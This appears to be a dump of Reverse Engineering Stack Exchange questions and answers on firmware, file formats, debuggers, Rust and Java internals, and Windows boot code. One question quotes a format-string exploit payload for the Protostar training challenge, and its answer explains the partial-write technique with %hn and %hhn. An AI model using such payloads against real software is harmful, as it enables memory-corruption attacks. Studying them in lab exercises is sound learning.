txt=date +&quot;T&quot; +time.toString() +&quot;Z,&quot; + v2.toString().trim().replace(/(Err.\d\d)/g, '0.000');//Err. value become 0.000 newtext+=txt +&quot;\n&quot;; newArray.push(txt); } } } document.frmParse.ed_output.value = newtext; csv_data=newArray.join(&quot;\n&quot;); processData(); } //graph csv with Dygraph function processData() { g2 = new Dygraph( document.getElementById(&quot;graphdiv2&quot;), csv_data, { xlabel: &quot; &quot;, ylabel: &quot; &quot;, title: csv_firstline, showRangeSelector: true, rangeSelectorHeight: 30, rangeSelectorPlotStrokeColor: 'black', rangeSelectorPlotFillColor: 'grey' } ); } //Moves last element in an array to the front function moveLastArrayElementToFirstIndex(this_array) { var new_array = new Array(); new_array[0] = this_array[this_array.length-1]; //first element is last element for(var i=1;i&lt;this_array.length;i++) { //subsequent elements start at 1 new_array[i] = this_array[i-1]; } return new_array; } function readAsText(file) { var reader = new FileReader(); reader.onload = function() { mytext = reader.result.split(&quot;\n&quot;); document.frmParse.ed_output.value = &quot;&quot;; parseFile(); }; reader.readAsText(file); } var openFile = function(event) { document.frmParse.ed_output.value = &quot;&quot;; var input = event.target; readAsText(input.files[0]); }; function clearFileInput(){ document.frmParse.fileinput.value = &quot;&quot;; } &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
25590
2020-08-02T08:50:27.180
<p>I have some measured data comes from a various types of sensors. The sensors are connected to a data-logger in order to store measurement data. After measurement, the data transported and stored in a logosense data-logger.</p> <p><strong>EDIT:</strong> For reading the stored measurement data we can use &quot;HYDRAS 3&quot; a software developed by OTT (using RS232 serial connection and OTT hrdrosence protocol). After reading the data this <a href="https://privatebin.net/?e57a3210c8ba7673#BKqxHMT8wR4chTygifft9iGdCZADT2fGdhWtHT1N2U4B" rel="nofollow noreferrer">read-file</a> has been obtained. At the same time we have monitored the serial port and the communication between the data-logger and HYDRAS to obtain the following <a href="https://privatebin.net/?625ee60b6c8749ec#GRK2MQFZbHbm2Eghqt1pLEeVoRiLCzAef3AW8eQur3PE" rel="nofollow noreferrer">monitor-file</a>.</p> <p>My question is how can i map these two file and extract the measured data at different measurement times from the monitor-file?(or just understand the file).</p> <p>It seems that my question is not a cryptography problem, I was wondering how Reverse Engineering can solve my problem. Any starting tips?</p> <p>P.S. the read-file is just for level sensor and the measured data are in meters. e.g. 3.522 at time 10:00, 3.515 at time 11:00 and both are measured on 11/11/2019</p> <p>Any help or guidelines will be greatly appreciated. Thank you.</p>
How to extract information from a binary file knowing the target info
|ida|binary-analysis|decryption|unknown-data|
<p>have you considered the possibility that it might be using the <strong><a href="https://doc.rust-lang.org/std/primitive.str.html" rel="nofollow noreferrer">str</a></strong><br /> instead of <strong><a href="https://doc.rust-lang.org/std/string/struct.String.html" rel="nofollow noreferrer">String</a></strong> which only has length and no capacity and<br /> you are looking at a bogus third value ?</p> <pre><code>:\&gt;cat main.rs fn main() { let s1 = String::from(&quot;Hello, std::world!&quot;); println!(&quot;{}&quot;,s1); println!(&quot;{} {}&quot;,s1.capacity() , s1.len()); let s2 = &quot;Hello, std::world!o&quot;; println!(&quot;{}&quot;,s2); println!(&quot;{} {}&quot;,s2.capacity() , s2.len()); } :\&gt;cargo build Compiling hello_world v0.1.0 error[E0599]: no method named `capacity` found for reference `&amp;str` in the current scope --&gt; main.rs:7:22 | 7 | println!(&quot;{} {}&quot;,s2.capacity() , s2.len()); | ^^^^^^^^ method not found in `&amp;str` </code></pre> <p>like shown below for the first string</p> <pre><code>0:000&gt; dv /v 00000064`f0cff920 s2 = struct str* 00000064`f0cff8c0 s1 = &quot;Hello, std::world!&quot; 0:000&gt; dpa 00000064`f0cff920 l3 00000064`f0cff920 00007ff6`65cf2638 &quot;Hello, std::world!o&quot; 00000064`f0cff928 00000000`00000013 00000064`f0cff930 00000000`00000010 &lt;&lt;&lt;&lt;&lt;&lt;&lt; bogus garbage 0:000&gt; dpa 00000064`f0cff8c0 l3 00000064`f0cff8c0 00000174`116191f0 &quot;Hello, std::world!..............................&quot; 00000064`f0cff8c8 00000000`00000012 00000064`f0cff8d0 00000000`00000012 &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; correct </code></pre>
25606
2020-08-04T09:32:10.967
<p><a href="https://doc.rust-lang.org/book/ch04-01-what-is-ownership.html#ways-variables-and-data-interact-move" rel="nofollow noreferrer">According to RUST documentation</a>, strings are stored this way :</p> <p><a href="https://i.stack.imgur.com/731rx.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/731rx.png" alt="enter image description here" /></a></p> <p>This is a statement I can verify while reversing rust binaries. The thing is that when I am reversing rust binaries, I likely encounter cases where capacity is lower than length of the string, eg :</p> <pre><code>[stack]:00007FFC8BE97218 str_ABCED dq offset ABCED ; DATA XREF: XX [stack]:00007FFC8BE97218 ; (len=10) ABCEDFGHIJ [stack]:00007FFC8BE97220 dq 28h ; String len: 40 [stack]:00007FFC8BE97228 cap_ABCED dq 25h ; String 'capacity' </code></pre> <p>How is such a thing possible? Do any resource exists explaining rust internals?</p>
Rust string capacity lower than string lenght
|debugging|memory|
<p>It's look like data from a wav file</p> <p>Try to use free software Audacity<br /> File -&gt; Import -&gt; Raw Data... Encoding : 16bit pcm, or 8bit or ... Byte order Little Endian , Channels : 1 Mono, Start offset : 0 bytes , Amount to import : 100% Sample rate 16000 Hz. or 8000 or ...</p> <p>if it doesn't work it would be interesting to have the name of the software that produces these vx8 files and if possible a complete file</p>
25612
2020-08-06T00:07:55.690
<p>This is my first time posting here and also my first time attempting to do reverse engineering of this kind.</p> <p>Let´s get to the point: I have to find a way of reading some phone call audio files. The files have a mysterious &quot;.vx8&quot; extension which yields no relevant results on google. The format seems to be proprietary from the software.</p> <p>On other questions here, I saw that trying to open the file in VLC and looking for metadata (Ctrl+I) is usefull. This yields no information on VLC other than the filename.</p> <p>I do not have access to the software that makes these files (which is key part of some suggestions found here as well)</p> <p>Here is the head of the hexdump for some files.</p> <pre><code>hexdump -C 01Z7I579.vx8|head 00000000 01 e1 70 fc e1 ee 64 d6 01 80 80 08 80 08 08 08 |..p...d.........| 00000010 09 00 08 08 08 80 08 08 08 80 80 80 09 00 80 08 |................| 00000020 80 08 80 80 80 80 08 80 08 80 08 80 08 09 18 80 |................| 00000030 08 80 08 08 08 08 08 08 08 80 80 08 08 80 80 80 |................| 00000040 08 08 08 08 08 08 80 08 80 80 80 08 08 08 80 09 |................| 00000050 18 08 80 80 80 09 18 80 80 08 80 08 08 80 81 90 |................| 00000060 80 08 08 81 90 88 18 80 08 08 08 80 08 80 00 90 |................| 00000070 08 08 08 80 09 18 80 08 80 08 80 08 80 08 80 00 |................| 00000080 90 08 80 80 08 80 08 80 09 18 09 18 80 09 01 89 |................| 00000090 00 08 80 08 80 80 00 98 10 90 08 80 88 18 80 08 |................| hexdump -C 01Z7I5EZ.vx8|head 00000000 01 d1 55 86 7c f0 64 d6 01 08 08 08 80 08 08 08 |..U.|.d.........| 00000010 80 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 |................| 00000020 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 |................| 00000030 08 08 80 08 08 08 08 08 08 08 08 08 08 08 08 08 |................| 00000040 08 08 80 08 08 08 08 08 08 08 80 08 08 80 08 08 |................| 00000050 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 |................| * 00000070 08 08 08 08 08 08 08 08 08 08 08 08 80 80 80 08 |................| 00000080 08 08 08 08 08 08 08 08 08 08 08 08 80 08 08 08 |................| 00000090 08 08 08 08 08 08 08 08 08 08 08 08 08 08 80 08 |................| hexdump -C 01Z7I5IZ.vx8|head 00000000 01 16 62 09 54 f1 64 d6 01 fd 14 8a 82 10 a8 a2 |..b.T.d.........| 00000010 0c 23 42 83 e8 99 0b 88 38 a3 22 b1 0f 08 11 12 |.#B.....8.&quot;.....| 00000020 ad 02 0f 94 88 09 03 00 a2 49 0c b3 6b c2 1d 11 |.........I..k...| 00000030 b9 34 0b 30 32 ca 90 49 90 b0 01 b0 08 13 9f 08 |.4.02..I........| 00000040 88 a1 51 12 8b a2 4d 01 92 af 82 4c 80 80 18 a0 |..Q...M....L....| 00000050 34 10 a3 28 f8 18 80 0b c8 81 9a 60 28 9b 09 00 |4..(.......`(...| 00000060 b7 21 9b 3c 81 92 4b ac 52 ab 52 9a 0b a3 0e 85 |.!.&lt;..K.R.R.....| 00000070 29 92 b8 23 a0 2a db 39 98 20 2c e2 29 b9 62 1b |)..#.*.9. ,.).b.| 00000080 85 3b c3 48 a9 d8 90 1c 54 09 c1 09 a1 20 38 e8 |.;.H....T.... 8.| 00000090 2a 99 31 00 1a ab b2 52 a3 73 bf 02 bb 33 1d 12 |*.1....R.s...3..| hexdump -C 01Z7I589.vx8|head 00000000 01 96 1c 87 09 ef 64 d6 01 20 39 35 3a 21 1a 8b |......d.. 95:!..| 00000010 10 cb 32 b2 33 22 dc 91 f9 92 80 a4 01 a3 03 b3 |..2.3&quot;..........| 00000020 37 01 14 1b 81 28 a1 6a a1 3a af bb ff 9a a9 40 |7....(.j.:.....@| 00000030 20 24 49 02 0a 98 80 b9 23 b2 44 00 9a f0 b9 c2 | $I.....#.D.....| 00000040 81 a3 04 a2 11 83 33 20 25 28 18 39 2a 69 08 1b |......3 %(.9*i..| 00000050 2e cb ef c1 ba 13 03 85 31 93 09 b0 81 bb 34 99 |........1.....4.| 00000060 52 29 11 bb bf f0 9a 04 00 82 30 c2 39 92 42 09 |R)........0.9.B.| 00000070 31 bc 41 0a 51 99 11 cf 9b ff 1a 90 20 18 42 19 |1.A.Q....... .B.| 00000080 21 9a 00 0a a3 2a 97 11 a2 1b e1 e8 09 93 90 10 |!....*..........| 00000090 03 91 48 03 31 58 31 08 29 12 19 8b 10 8d da df |..H.1X1.).......| </code></pre> <p>As you can see, for some of the files, 8´s and 0´s are abundant (I have no clue why) and some other don´t have them at all.</p> <p>The 8th and 9th bytes are always <code>d6 01</code></p> <p>The audio samples seem to begin on the 10th byte.</p> <p>I have requested to the person with access to the files and software to send me some pairs of files for the same audio (.mp3 and .vx8) to try to see the difference in size and infer some bitrate (As suggested in other questions). They have sent me mp3 files before (not for the same phone calls) and the mp3 files seem to be larger than the .vx8, but I will have to confirm this once I have the pairs.</p> <p>It would be very helpful to know any other strategies that I might be missing.</p> <p>Thank you</p>
Reverse engineer a proprietary audio file
|file-format|
<p>use <strong>im</strong> to get the type and state</p> <p>they are not deciphered like windbg can but you can get the flags</p> <p>radare2</p> <pre><code>[0x7ff6c5153380]&gt; im~0xcf39d2c000 0xcf39d2c000 +0x4000 rw- paddr=0x0000959e state=0x00001000 type=0x00020000 allocation_protect=0x00000004 Memory_Section [0x7ff6c5153380]&gt; iS~0xcf39d2c000 2 0x0000959e 0x4000 0xcf39d2c000 0x4000 -rw- Memory_Section_2 [0x7ff6c5153380]&gt; </code></pre> <p>windbg</p> <pre><code>0:003&gt; !vprot cf`39d2c000 BaseAddress: 000000cf39d2c000 AllocationBase: 000000cf39cb0000 AllocationProtect: 00000004 PAGE_READWRITE RegionSize: 0000000000004000 State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE Type: 00020000 MEM_PRIVATE </code></pre> <p>these are returned by calling VirtualQuery/Ex API 's</p> <p>MEMORY_BASIC_INFORMATION</p> <p><a href="https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information" rel="nofollow noreferrer">https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information</a></p>
25615
2020-08-06T14:11:59.150
<p>I have a memory dump of notepad.exe. Radare's <code>iS</code> to print sections gives me the mapped files (executable and it's dll's) as well as the many sections simply marked 'Memory_Section', which from what I can tell are the memory pages mapped out by the program to form the heap. Radare gives the permissions of these pages but not the flags they were created with, in particular if they are shared or private, reserved or committed, file backed or anonymous, etc. I assume working memory will generally be anonymous and private anyway, but I am working in the context of malware analysis, so nothing can be taken from granted.</p> <p>How can I find the specific type that a particular memory mapping is? Can this be done statically, or will I need to emulate the memory dump somehow?</p>
Finding mapped memory page flags in Radare2
|windows|radare2|memory-dump|
<p>The second and third methods are simply variants of the first method, using different write sizes.</p> <p>The <code>%n</code> format specifier writes 4 bytes to the destination address. There are times where you may not want to write this many bytes as once; maybe you only want to partially overwrite a value, or more importantly, it may be too slow this way. Let's say you wanted to write the value 0xdeadbeef; in this particular case, the program has to print out 3,735,928,559 characters, which can take a while to write. It is often quicker to do several smaller writes instead of one huge write. So, the specifier can be used with a length modifier to change the number of bytes written. <code>%hn</code> is 2 bytes, and <code>%hhn</code> is one byte.</p> <p>So, you can break the problem into two chunks. Let's use the address from your example, 0x80496f4, as the target where we want to write. The first 2 bytes (little endian, 0xefbe) can be written at 0x80496f4 with an <code>%hn</code>. Since we're going 2 bytes at a time, the next write needs to be at 0x80496f4+2, which is where 0x80496f6 comes from. Here, the next two bytes can be written with <code>%hn</code>, 0xadde.</p> <p>Or, you can do it in 4 chunks by doing single-byte writes.</p>
25633
2020-08-09T16:22:48.407
<p><strong>Protostar</strong></p> <p>I was doing the protostar format string (3rd challenge). where we have to change the value of a variable target with format string buffer overflow. so, I came up to this medium article: <a href="https://medium.com/bugbountywriteup/expdev-exploit-exercise-protostar-format-3-33e8d8f1e83" rel="nofollow noreferrer">HERE</a></p> <p>So, he has described three types of attacks. the second and third ones seem hard to understand.</p> <p><strong>2 byte</strong></p> <p>I want to know that he has divided the target value (0x00000000) into 2 bytes (0000) in the second method. it means that we are splitting the values into two bytes. am I right? and if I am right what is the thing he did for getting the second address of the target(0x80496f6). how could he possibly get that from the real address (0x80496f4)? all I can understand is he might have subtracted 0x2 from the real address(0x80496f4). Does the value of the target stores into two addresses? His command is :</p> <pre><code>python -c 'print &quot;\xf4\x96\x04\x08&quot; + &quot;\xf6\x96\x04\x08&quot; + &quot;%13$hn&quot; + &quot;%12$hn&quot;' </code></pre>
2 byte format string attacks
|disassembly|c|buffer-overflow|address|
<pre><code>.text:005334DF mov eax, dword_6A5040[edi*8] </code></pre> <ol> <li>edi is multiplied by 8</li> <li>edi is a 32 bit register</li> <li>so by inferance edi can range from 0 to 0xffffffff</li> <li>so edi can be <code>0*8 = 0,1*8 = 8,2*8=16,.....n*8 =8n,....</code></li> <li>or multiplication table of 8</li> </ol> <p>arrays and pointers are represented in x86 assembly with square brackets</p> <p>this <code>6A5040[edi*8]</code> denotes Array Access so</p> <pre><code>.data:006A5040 dword_6A5040 dd 1 </code></pre> <p>will be the first member of array</p> <p>in a higher language this will look like</p> <p><code>*int eax = *(int *)6a5040*</code> or</p> <p><code>int eax = foo[i]</code></p> <p>where foo is an array of some type</p> <p>int foo[] = { {1,ptr} , {2,ptr} ,{3.ptr}, ...... ,{n ,ptr} };</p> <p>inc edi here index is increased this will be like <code>i++;</code></p> <p>cmp and jnz will map to a conditional like</p> <p><code>if (eax != val) {do something}</code></p> <p>or</p> <pre><code>while (eax!=val) {do something} </code></pre> <p>putting all this together one can derive a higher levelcode that would yield similar work flowlike below</p> <pre><code>#include &lt;stdio.h&gt; typedef struct _FOO { unsigned int a; unsigned int *b; }Foo,*PFoo; unsigned int mint[] = {0,1,2,3,4,5,6,7,8,0xffffffff}; Foo myfoo[] = { {mint[ 0],&amp;(mint[ 0])}, {mint[ 1],&amp;(mint[ 1])}, {mint[ 2],&amp;(mint[ 2])}, {mint[10],&amp;(mint[10])} }; int main (void) { int i =0; while(myfoo[i].a != 0xffffffff) { printf(&quot;%u\t%p\n&quot;, myfoo[i].a, myfoo[i].b); i++; } return 0; } </code></pre> <p>and disassembly wouldbe like</p> <pre><code>0:000&gt; uf . foo!main: 013410a0 55 push ebp 013410a1 8bec mov ebp,esp 013410a3 51 push ecx 013410a4 c745fc00000000 mov dword ptr [ebp-4],0 foo!main+0xb: 013410ab 8b45fc mov eax,dword ptr [ebp-4] 013410ae 833cc5f8993801ff cmp dword ptr foo!myfoo (013899f8)[eax*8],0FFFFFFFFh 013410b6 742e je foo!main+0x46 (013410e6) foo!main+0x18: 013410b8 8b4dfc mov ecx,dword ptr [ebp-4] 013410bb 8b14cdfc993801 mov edx,dword ptr foo!myfoo+0x4 (013899fc)[ecx*8] 013410c2 52 push edx 013410c3 8b45fc mov eax,dword ptr [ebp-4] 013410c6 8b0cc5f8993801 mov ecx,dword ptr foo!myfoo (013899f8)[eax*8] 013410cd 51 push ecx 013410ce 6890013801 push offset foo!__xt_z+0x4 (01380190) 013410d3 e858000000 call foo!printf (01341130) 013410d8 83c40c add esp,0Ch 013410db 8b55fc mov edx,dword ptr [ebp-4] 013410de 83c201 add edx,1 013410e1 8955fc mov dword ptr [ebp-4],edx 013410e4 ebc5 jmp foo!main+0xb (013410ab) foo!main+0x46: 013410e6 33c0 xor eax,eax 013410e8 8be5 mov esp,ebp 013410ea 5d pop ebp 013410eb c3 ret 0:000&gt; </code></pre>
25657
2020-08-11T18:24:14.557
<p>Assembler code from data segment:</p> <pre><code>.data:006A5038 dword_6A5038 dd 0 .data:006A5038 .data:006A503C ; char *off_6A503C .data:006A503C off_6A503C dd offset aOption0 .data:006A503C .data:006A503C .data:006A5040 dword_6A5040 dd 1 .data:006A5040 .data:006A5044 dd offset aOption1 .data:006A5048 db 2 .data:006A5049 db 0 .data:006A504A db 0 .data:006A504B db 0 .data:006A504C dd offset aOption2 .data:006A5050 db 3 .data:006A5051 db 0 .data:006A5052 db 0 .data:006A5053 db 0 .data:006A5054 dd offset aOption3 .data:006A5058 db 4 .................................................. .data:006A5294 dd offset aOption4bh .data:006A5298 db 4Ch ; L .data:006A5299 db 0 .data:006A529A db 0 .data:006A529B db 0 .data:006A529C dd offset aOption4ch .data:006A52A0 db 0FFh .data:006A52A1 db 0FFh .data:006A52A2 db 0FFh .data:006A52A3 db 0FFh </code></pre> <p>Assembler code of code segment, it piece of code below is loop, and during this loop checks eax with value 0xffffffff for end of loop; every step of loop to do some opertion with compare this strings named &quot;options&quot;. i.e. there is string, and string's numeric indefiner, and for end of loop checks eax if 0xffffffff.</p> <pre><code>.text:005334DF mov eax, dword_6A5040[edi*8] .text:005334E6 inc edi .text:005334E7 cmp eax, 0FFFFFFFFh .text:005334EA jnz loc_533433 </code></pre> <p>Question- how this data from data segment (strings and numeric indefiners) might look in high-level languages like c++? May be is it structures, how arranged this structures? It like global variables, because placed in data segment. Thanks in advance!</p>
Recognize of data block
|disassemblers|
<p>In short, the difference is in the format into which Java and native code are compiled and executed. Compilation into native code formats eliminates from resulting executable a lot of information that Java code keeps by design, including, but not limited to the following list:</p> <ul> <li>Class names</li> <li>Method names</li> <li>Properties names and types</li> <li>Methods borders</li> <li>Exact exception definitions</li> <li>Class structure</li> <li>So called <a href="https://en.wikipedia.org/wiki/Java_bytecode_instruction_listings" rel="nofollow noreferrer">bytecode</a> code of the methods in language which is very easy to understand and decompile because it is reference-based language and contains exact signatures of other called methods by design</li> </ul> <p>The more we know about the code, the easier it is for us to understand (and decompile) it.</p> <p>Java code is executed in Java Virtual Machine (JVM). Native code is executed on the processor directly.</p> <p><a href="https://en.wikipedia.org/wiki/Java_virtual_machine" rel="nofollow noreferrer">JVM</a> is executing <a href="https://en.wikipedia.org/wiki/JAR_(file_format)" rel="nofollow noreferrer">.jar</a> files. .jar files are zip archives that contain <a href="https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html" rel="nofollow noreferrer">.class</a> files with definitions of classes. This format is defined <a href="https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html" rel="nofollow noreferrer">here</a> and we can find in the referenced document everything that class file contains. Most of information we know about java bytecode is lost during the native code compilation.</p> <p>If you want to understand a bit more about java classes internals I'd suggest you to write some simple java class, compile it and then disassemble it with <a href="https://docs.oracle.com/javase/7/docs/technotes/tools/windows/javap.html" rel="nofollow noreferrer">javap</a>.</p>
25664
2020-08-13T04:55:40.200
<p>I have seen a lot of videos where everyone is decompiling the jar files so easily. but I learnt that we cannot decompile any compiled file so easily. I have a little bit of experience in Gidhra. I have analyzed some C compiled binaries. the C compiled binaries aren't that easy to decompile, I have seen it myself. but how does java decompilation works? tools just extract all source code written in it. you can take this video as an example, <a href="https://www.youtube.com/watch?v=3bvKLj0akMM" rel="nofollow noreferrer">Youtube IPPSEC</a> Please tell me the difference between C and Java compiled files decompilation.</p>
How do we decompile java so easy?
|binary-analysis|decompilation|c|java|
<p>It is indeed valid MIPS litte-endian code:</p> <pre><code>seg000:1D0121F0 A8 FF BD 27 addiu $sp, -0x58 seg000:1D0121F4 04 00 A1 AF sw $at, 0x58+var_54($sp) seg000:1D0121F8 08 00 A2 AF sw $v0, 0x58+var_50($sp) seg000:1D0121FC 0C 00 A3 AF sw $v1, 0x58+var_4C($sp) seg000:1D012200 10 00 A4 AF sw $a0, 0x58+var_48($sp) seg000:1D012204 14 00 A5 AF sw $a1, 0x58+var_44($sp) seg000:1D012208 18 00 A6 AF sw $a2, 0x58+var_40($sp) seg000:1D01220C 1C 00 A7 AF sw $a3, 0x58+var_3C($sp) seg000:1D012210 20 00 A8 AF sw $t0, 0x58+var_38($sp) seg000:1D012214 24 00 A9 AF sw $t1, 0x58+var_34($sp) seg000:1D012218 28 00 AA AF sw $t2, 0x58+var_30($sp) seg000:1D01221C 2C 00 AB AF sw $t3, 0x58+var_2C($sp) seg000:1D012220 30 00 AC AF sw $t4, 0x58+var_28($sp) seg000:1D012224 34 00 AD AF sw $t5, 0x58+var_24($sp) seg000:1D012228 38 00 AE AF sw $t6, 0x58+var_20($sp) seg000:1D01222C 3C 00 AF AF sw $t7, 0x58+var_1C($sp) seg000:1D012230 40 00 B8 AF sw $t8, 0x58+var_18($sp) seg000:1D012234 44 00 B9 AF sw $t9, 0x58+var_14($sp) seg000:1D012238 48 00 BF AF sw $ra, 0x58+var_10($sp) seg000:1D01223C 12 40 00 00 mflo $t0 seg000:1D012240 4C 00 A8 AF sw $t0, 0x58+var_C($sp) seg000:1D012244 10 40 00 00 mfhi $t0 seg000:1D012248 50 00 A8 AF sw $t0, 0x58+var_8($sp) seg000:1D01224C 01 9D 1A 3C+ li $k0, 0x9D012CA4 seg000:1D01224C A4 2C 5A 27 seg000:1D012254 00 00 00 00 nop seg000:1D012258 00 68 04 40 mfc0 $a0, Cause # Cause of last exception seg000:1D01225C 00 60 05 40 mfc0 $a1, SR # Status register seg000:1D012260 09 F8 40 03 jalr $k0 seg000:1D012264 00 00 00 00 nop </code></pre> <p>I suspect the device is using something from the Microchip's <a href="http://download.mikroe.com/documents/compilers/mikrobasic/pic32/help/memory_organization.htm" rel="nofollow noreferrer">PIC32 series</a>.</p>
25679
2020-08-15T18:41:10.573
<p>Tough problem - trying to reverse engineer a CANBUS controller for which I can download firmware (as far as I can tell, binary image, not ELF) but I dont know what MCU it uses. <code>binwalk</code>, <code>r2</code> dont give me anything useful. Binwalk opcodes match mipsel but function signatures is garbage.</p> <p>What can I do to determine MCU from firmware?</p>
Determine firmware MCU from binary image
|firmware|
<p>As you can see <a href="https://c9x.me/x86/html/file_module_x86_id_147.html" rel="nofollow noreferrer">here</a>, <code>0xFF</code> is a “jump far indirect” opcode and this version of jump requires operand to be a memory address.</p> <p>While using this type of jump, you cannot use register as an operand and hence the error message you see.</p> <p>And I don’t think the snippet you provided contains the actual code - it rather looks like data, though OllyDbg still tries to disassemble it.</p> <p>You will find the code at offset <code>0x1000</code> relative to the image base which will likely be <code>0x400000</code> in case of exe and <code>0x10000000</code> in case of dll.</p>
25723
2020-08-22T16:37:58.947
<p>I read pe program using a Pe Reader to view all sections, the .text section starts is &quot;<code>0x0001000</code>&quot;:</p> <p>What is in the pe program reader:</p> <p><a href="https://i.stack.imgur.com/YzREQ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/YzREQ.png" alt="PE READER PROGRAM" /></a></p> <p>And is this what i see on the debugguer :</p> <p><a href="https://i.stack.imgur.com/J3Hz3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/J3Hz3.png" alt="DEBUGGER" /></a></p>
what means "ilegal use of registers"?
|assembly|ollydbg|disassemblers|decompile|immunity-debugger|
<p>As i Commented the query is vague anyway just took a look and it doesn't seem to be overly complicated</p> <p>all this function seem to do is retrieve a few key values from registry</p> <p>basically it runs a loop like</p> <p>while (string) { Create An Unicode string open regkey-&gt;onfail return false get regvalue-&gt;onfail return false got to next string } return true</p> <p>these are the strings it accesses in win7 x86</p> <pre><code>C:\&gt;cdb -c &quot;uf winload!CmpFindNlsData;q&quot; -z c:\Windows\System32\winload.exe | grep -B 2 RtlInitUnicode 0046511c b8405c4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465c40) 00465121 8d4df0 lea ecx,[ebp-10h] 00465124 e88d28fcff call winload!RtlInitUnicodeString (004279b6) -- 00465144 b8b05c4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465cb0) 00465149 8d4df0 lea ecx,[ebp-10h] 0046514c e86528fcff call winload!RtlInitUnicodeString (004279b6) -- 0046516f b8c05c4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465cc0) 00465174 8d4df0 lea ecx,[ebp-10h] 00465177 e83a28fcff call winload!RtlInitUnicodeString (004279b6) -- 0046519e b8e05c4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465ce0) 004651a3 8d4df0 lea ecx,[ebp-10h] 004651a6 e80b28fcff call winload!RtlInitUnicodeString (004279b6) -- 0046526a b8f05c4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465cf0) 0046526f 8d4df0 lea ecx,[ebp-10h] 00465272 e83f27fcff call winload!RtlInitUnicodeString (004279b6) -- 00465339 b8005d4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465d00) 0046533e 8d4df0 lea ecx,[ebp-10h] 00465341 e87026fcff call winload!RtlInitUnicodeString (004279b6) -- 0046536b b8205d4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465d20) 00465370 8d4df0 lea ecx,[ebp-10h] 00465373 e83e26fcff call winload!RtlInitUnicodeString (004279b6) -- 00465438 b8305d4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465d30) 0046543d 8d4df0 lea ecx,[ebp-10h] 00465440 e87125fcff call winload!RtlInitUnicodeString (004279b6) C:\&gt;cdb -c &quot;uf winload!CmpFindNlsData;q&quot; -z c:\Windows\System32\winload.exe | grep -B 2 RtlInitUnicode | grep PBO 0046511c b8405c4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465c40) 00465144 b8b05c4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465cb0) 0046516f b8c05c4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465cc0) 0046519e b8e05c4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465ce0) 0046526a b8f05c4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465cf0) 00465339 b8005d4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465d00) 0046536b b8205d4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465d20) 00465438 b8305d4600 mov eax,offset winload! ?? ::PBOPGDP::`string' (00465d30) C:\&gt;cdb -c &quot;du 465c40;du 465cb0;du 465cc0;du 465ce0;du 465cf0;du 465d00;du 465d20;du 465d30;q&quot; -z c:\Windows\System32\winload.exe | awk &quot;/Reading/,/quit/&quot; 0:000&gt; cdb: Reading initial command 'du 465c40;du 465cb0;du 465cc0;du 465ce0;du 465cf0;du 465d00;du 465d20;du 465d30;q' 00465c40 &quot;Control&quot; 00465cb0 &quot;NLS&quot; 00465cc0 &quot;CodePage&quot; 00465ce0 &quot;ACP&quot; 00465cf0 &quot;OEMCP&quot; 00465d00 &quot;Language&quot; 00465d20 &quot;Default&quot; 00465d30 &quot;OEMHAL&quot; quit: </code></pre> <p>and these keys exist in hklm\system\currentcontrolset</p> <pre><code>C:\&gt;reg query hklm\system\currentcontrolset\control\nls\codepage /v *cp* HKEY_LOCAL_MACHINE\system\currentcontrolset\control\nls\codepage ACP REG_SZ 1252 OEMCP REG_SZ 437 MACCP REG_SZ 10000 End of search: 3 match(es) found. </code></pre> <p>after finding these it returns the c_1252.nls, etc filenames in the respective out parameters</p>
25728
2020-08-23T18:13:25.740
<p>I have a basic understanding of assembly language and I'm unable to perfectly define the algorithm of winload!CmpFindNlsData looking at the disassembly. Basically I need to understand how NLS data is loaded when Windows boots up. I have been able to figure out the algorithm to this point.</p> <pre><code>CmpFindNlsData { HvpGetCellPaged(); push offset winload!CmpControlString CmpFindSubkeyByNameWithStatus(); HvpReleaseCellPaged(); HvpGetCellPaged(); offset winload!CmpNlsString CmpFindSubkeyByNameWithStatus(); HvpReleaseCellPaged(); HvpGetCellPaged(); offset winload!CmpCodePageString CmpFindSubkeyByNameWithStatus(); HvpReleaseCellPaged(); HvpGetCellPaged(); offset winload!CmpAcpString CmpFindValueByName(); HvpReleaseCellPaged(); HvpGetCellPaged(); offset winload!CmpOemCpString CmpFindValueByName(); HvpReleaseCellPaged(); HvpGetCellPaged(); CmpValueToData(); HvpReleaseCellPaged(); HvpGetCellPaged(); CmpFindValueByName(); HvpReleaseCellPaged(); HvpGetCellPaged(); CmpValueToData(); HvpReleaseCellPaged(); HvpGetCellPaged(); CmpFindValueByName(); HvpReleaseCellPaged(); HvpGetCellPaged(); CmpValueToData(); HvpReleaseCellPaged(); HvpGetCellPaged(); CmpFindValueByName(); HvpReleaseCellPaged(); HvpGetCellPaged(); CmpValueToData(); HvpReleaseCellPaged(); } </code></pre>
Trying to reverse engineer CmpFindNlsData of winload
|disassembly|windows|assembly|windbg|
<p>It’s not gibberish, the code is simply using non-ASCII variable names which is <a href="https://docs.python.org/3/reference/lexical_analysis.html#identifiers" rel="nofollow noreferrer">perfectly fine in Python</a>.</p>
25732
